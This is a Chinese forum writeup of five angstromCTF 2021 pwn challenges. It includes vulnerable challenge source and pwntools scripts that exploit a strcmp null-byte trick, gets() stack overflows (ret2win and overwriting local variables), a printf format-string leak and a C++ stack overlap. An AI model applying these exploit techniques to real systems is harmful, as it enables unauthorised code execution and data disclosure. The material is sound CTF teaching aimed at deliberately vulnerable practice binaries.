首页
社区
课程
招聘
[原创]angstromCTF2021-pwn-前5题writeup
发表于: 2021-4-12 09:38 10787

[原创]angstromCTF2021-pwn-前5题writeup

2021-4-12 09:38
10787

My login is, potentially, and I don't say this lightly, if you know me you know that's the truth, it's truly, and no this isn't snake oil, this is, no joke, the most secure login service in the world (source).
Try to hack me at /problems/2021/secure_login on the shell server.
Author: kmh

strcmp的源码如下:

strcmp返回值为0的情况有两种:1)src和dst一样;2)dst为NULL。而在这题里,我们猜不出来随机数password,因此只能找第2)种情况。/dev/urandom 生成随机字节序列,所以,它会生成范围为0-255的值。因此,第一个字符有1/256的可能为\x00,这是字符串的终止符,表明是空字符串,会让strcmp函数返回0。因此,只要不断循环,总会遇到password的首字节为\x00的情况。
同时,这题没有给host和port,但是给了交互的shell环境,所以就直接在shell环境里进行操作。结果如下:
image.png
只要等待循环结束,然后打印res就可以得到flag!
image.png

Finally, inner peace - Master Oogway
Source
Connect with nc shell.actf.co 21830, or find it on the shell server at /problems/2021/tranquil.
Author: JoshDaBosh

下面第25行存在栈溢出漏洞,开启了NX,所以只要把vuln的返回地址覆盖成win函数地址就能拿到flag了,都不需要反编译了。ret2text类型的题。

image.png

I made a program (source) to protect my flag. On the off chance someone does get in, I added some sanity checks to detect if something fishy is going on. See if you can hack me at /problems/2021/sanity_checks on the shell server, or connect with nc shell.actf.co 21303.
Author: kmh

第18行存在栈溢出漏洞,只需要password填充“password123”,然后覆盖5个int型变量为相应的值就可以拿到flag。

image.png

I made a program that holds a lot of secrets... maybe even a flag!
Source
Connect with nc shell.actf.co 21820, or visit /problems/2021/stickystacks on the shell server.
Author: JoshDaBosh

将flag读取到了结构体中,结构体在栈里,但是没有打印它。能让我们输入6个字节的数据,没有栈溢出漏洞,但是存在 printf(name) 这个格式化字符串漏洞。所以,可以利用这个漏洞将flag泄漏出来。

image.png
红色部分为flag。因为,在其中的前后部分明显可以看到 7b ({) 7d (}) ,还有 0a ( \n)。复制这一段,通过添加空格,全部替换等操作,写一个脚本,跑出flag。

image.png
看到一个writeup用 CyberChef 这个神器,才想起来有这个东西:(

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')Reverse('Character')&input=MHgwYTdkMzMzOTM1NjYzMTYxCjB4MzQzODM2MzczNzY0NjE2NQoweDM0MzkzMjMxMzU2MjM5NjMKMHg2NTYyNWY2YjYzNjE3NDczCjB4NWY2NTY4NzQ1ZjZlNjk1ZgoweDZiNjM2MTYyNWY2ZDI3NjkKMHg1ZjczNjU3OTVmNmI2MzYxCjB4NmM2MjVmNmU2OTVmNmI2MwoweDYxNjI1ZjZkMjc2OTVmNmMKMHg2YzY1Nzc3YjY2NzQ2MzYxCgoK

image.png

I love how C++ initializes everything for you. It makes things so easy and fun!
Speaking of fun, play our fun new game RAIId Shadow Legends (source) at /problems/2021/raiid_shadow_legends on the shell server, or connect with nc shell.actf.co 21300.
Author: kmh

很明显地看到源码前面有 ifstream flag("flag.txt") ,那么就先看看有没有哪里打印flag:37行 ...<< flag.rdbuf() << endl; ,需要player.skill == 1337 并且 action == "2" 才能运行这一行代码打印flag,player是character结构体。
再来看程序主体功能:先调用terms_and_conditions函数打印条款,然后调用play函数进行play。

action可以通过输入使得它的值为2,但是player.skill 没有提供输入来改变它。首先想到的就是通过栈溢出来覆盖它的值,输入字符串的地方有三处:1)agreement让我们输入“yes”;2)输入signature;3)输入player.name。
这三个变量agreement、signature和player都是局部变量,且没有进行初始化,所以,他们都是在栈中的。
player.name是c++中的string类型变量,栈中存储的是输入的字符串的地址,是没法通过它来栈溢出的。下面通过gdb来调试分析,在play函数下断点,然后name输入“aaaa”,此时结果如下所示。验证了前面所说,是没法通过player.name来覆盖skill的。
image.png
往下走,看看player.skill在栈的哪个位置,和两外两个输入有没有关系。通过IDA分析,<< player.skill 在getline函数的后面第4个call,单步执行到这,如下所示。play.skill是第二个参数,会mov给rsi,而由下面的调试过程可知,是将rax的值给rsi,而rax值的来源是rbp-0x4c。计算rbp-0x4c得到0x7fffffffddb4,正是yes字符串所处的地址。因此,如果yes后面接1337,那么就能将play.skill的值变成1337!image.png
image.png
而前面输入“yes”的时候是会进行判断的,需要输入“yes”才会退出这个循环,否则会让用户一直输入。那么就多输入1次来看看情况,先输入yesabbbb,然后输入yes。可以看到,结果是栈里相应地址里的内容后4位已经改成了bbbb。
image.png
image.png

image.png

#include <stdio.h>
 
char password[128];
 
void generate_password() {
    FILE *file = fopen("/dev/urandom","r");
    fgets(password, 128, file);
    fclose(file);
}
 
void main() {
    puts("Welcome to my ultra secure login service!");
 
    // no way they can guess my password if it's random!
    generate_password();
 
    char input[128];
    printf("Enter the password: ");
    fgets(input, 128, stdin);
 
    if (strcmp(input, password) == 0) {
        char flag[128];
 
        FILE *file = fopen("flag.txt","r");
        if (!file) {
            puts("Error: missing flag.txt.");
            exit(1);
        }
 
        fgets(flag, 128, file);
        puts(flag);
    } else {
        puts("Wrong!");
    }
}
#include <stdio.h>
 
char password[128];
 
void generate_password() {
    FILE *file = fopen("/dev/urandom","r");
    fgets(password, 128, file);
    fclose(file);
}
 
void main() {
    puts("Welcome to my ultra secure login service!");
 
    // no way they can guess my password if it's random!
    generate_password();
 
    char input[128];
    printf("Enter the password: ");
    fgets(input, 128, stdin);
 
    if (strcmp(input, password) == 0) {
        char flag[128];
 
        FILE *file = fopen("flag.txt","r");
        if (!file) {
            puts("Error: missing flag.txt.");
            exit(1);
        }
 
        fgets(flag, 128, file);
        puts(flag);
    } else {
        puts("Wrong!");
    }
}
int strcmp ( const char* src, const char* dst )
{
    int ret = 0 ;
    while( !(ret = *(unsigned char *)src - *(unsigned char *)dst) && *dst)
        ++src, ++dst;
    if ( ret < 0 )
        ret = -1 ;
    else if ( ret > 0 )
        ret = 1 ;
    return( ret );
}
int strcmp ( const char* src, const char* dst )
{
    int ret = 0 ;
    while( !(ret = *(unsigned char *)src - *(unsigned char *)dst) && *dst)
        ++src, ++dst;
    if ( ret < 0 )
        ret = -1 ;
    else if ( ret > 0 )
        ret = 1 ;
    return( ret );
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int win(){
    char flag[128];
 
    FILE *file = fopen("flag.txt","r");
 
    if (!file) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
 
    fgets(flag, 128, file);
 
    puts(flag);
}
 
int vuln(){
    char password[64];
 
    puts("Enter the secret word: ");
 
    gets(&password); // 栈溢出漏洞
 
 
    if(strcmp(password, "password123") == 0){
        puts("Logged in! The flag is somewhere else though...");
    } else {
        puts("Login failed!");
    }
 
    return 0;
}
 
 
int main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 
    vuln();
 
    // not so easy for you!
    // win();
 
    return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int win(){
    char flag[128];
 
    FILE *file = fopen("flag.txt","r");
 
    if (!file) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
 
    fgets(flag, 128, file);
 
    puts(flag);
}
 
int vuln(){
    char password[64];
 
    puts("Enter the secret word: ");
 
    gets(&password); // 栈溢出漏洞
 
 
    if(strcmp(password, "password123") == 0){
        puts("Logged in! The flag is somewhere else though...");
    } else {
        puts("Login failed!");
    }
 
    return 0;
}
 
 
int main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 
    vuln();
 
    // not so easy for you!
    // win();
 
    return 0;
}
$ checksec --file=tranquil
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   53) Symbols      No    0        3        tranquil
$ checksec --file=tranquil
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   53) Symbols      No    0        3        tranquil
from pwn import *
 
def get_sh():
    if args['REMOTE']:       
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./tranquil")
 
p = get_sh()
p.recvuntil('Enter the secret word: \n')
p.sendline('a'*0x48+p64(0x401196))
 
p.interactive()
from pwn import *
 
def get_sh():
    if args['REMOTE']:       
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./tranquil")
 
p = get_sh()
p.recvuntil('Enter the secret word: \n')
p.sendline('a'*0x48+p64(0x401196))
 
p.interactive()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 
    char password[64];
    int ways_to_leave_your_lover = 0;
    int what_i_cant_drive = 0;
    int when_im_walking_out_on_center_circle = 0;
    int which_highway_to_take_my_telephones_to = 0;
    int when_i_learned_the_truth = 0;
 
    printf("Enter the secret word: ");
 
    gets(&password); // 栈溢出漏洞
 
    if(strcmp(password, "password123") == 0){ //password=="password123"
        puts("Logged in! Let's just do some quick checks to make sure everything's in order...");
        if (ways_to_leave_your_lover == 50) {
            if (what_i_cant_drive == 55) {
                if (when_im_walking_out_on_center_circle == 245) {
                    if (which_highway_to_take_my_telephones_to == 61) {
                        if (when_i_learned_the_truth == 17) { // 覆盖这些变量
                            char flag[128];
 
                            FILE *f = fopen("flag.txt","r");
 
                            if (!f) {
                                printf("Missing flag.txt. Contact an admin if you see this on remote.");
                                exit(1);
                            }
 
                            fgets(flag, 128, f);
 
                            printf(flag);
                            return;
                        }
                    }
                }
            }
        }
        puts("Nope, something seems off.");
    } else {
        puts("Login failed!");
    }
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 
    char password[64];
    int ways_to_leave_your_lover = 0;
    int what_i_cant_drive = 0;
    int when_im_walking_out_on_center_circle = 0;
    int which_highway_to_take_my_telephones_to = 0;
    int when_i_learned_the_truth = 0;
 
    printf("Enter the secret word: ");
 
    gets(&password); // 栈溢出漏洞
 
    if(strcmp(password, "password123") == 0){ //password=="password123"
        puts("Logged in! Let's just do some quick checks to make sure everything's in order...");
        if (ways_to_leave_your_lover == 50) {
            if (what_i_cant_drive == 55) {
                if (when_im_walking_out_on_center_circle == 245) {
                    if (which_highway_to_take_my_telephones_to == 61) {
                        if (when_i_learned_the_truth == 17) { // 覆盖这些变量
                            char flag[128];
 
                            FILE *f = fopen("flag.txt","r");
 
                            if (!f) {
                                printf("Missing flag.txt. Contact an admin if you see this on remote.");
                                exit(1);
                            }
 
                            fgets(flag, 128, f);
 
                            printf(flag);
                            return;
                        }
                    }
                }
            }
        }
        puts("Nope, something seems off.");
    } else {
        puts("Login failed!");
    }
}
from pwn import *
context.log_level='debug'
def get_sh(other_libc = null):
    if args['REMOTE']:       
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./checks")
 
p = get_sh()
#gdb.attach(p)
p.recvuntil('Enter the secret word: ')
 
p.sendline('password123'.ljust(0x60-0x14,'\x00')+p32(17)+p32(61)+p32(245)+p32(55)+p32(50))
 
p.interactive()
from pwn import *
context.log_level='debug'
def get_sh(other_libc = null):
    if args['REMOTE']:       
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./checks")
 
p = get_sh()
#gdb.attach(p)
p.recvuntil('Enter the secret word: ')
 
p.sendline('password123'.ljust(0x60-0x14,'\x00')+p32(17)+p32(61)+p32(245)+p32(55)+p32(50))
 
p.interactive()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
 
typedef struct Secrets {
    char secret1[50];
    char password[50];
    char birthday[50];
    char ssn[50];
    char flag[128];
} Secrets;
 
 
int vuln(){
    char name[7];
 
    Secrets boshsecrets = {
        .secret1 = "CTFs are fun!",
        .password= "password123",
        .birthday = "1/1/1970",
        .ssn = "123-456-7890",
    };
 
 
    FILE *f = fopen("flag.txt","r");
    if (!f) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    fgets(&(boshsecrets.flag), 128, f);
 
 
    puts("Name: ");
 
    fgets(name, 6, stdin);
 
 
    printf("Welcome, ");
    printf(name);
    printf("\n");
 
    return 0;
}
 
 
int main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 
    vuln();
 
    return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
 
typedef struct Secrets {
    char secret1[50];

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-4-12 13:27 被ztree编辑 ,原因:
上传的附件:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//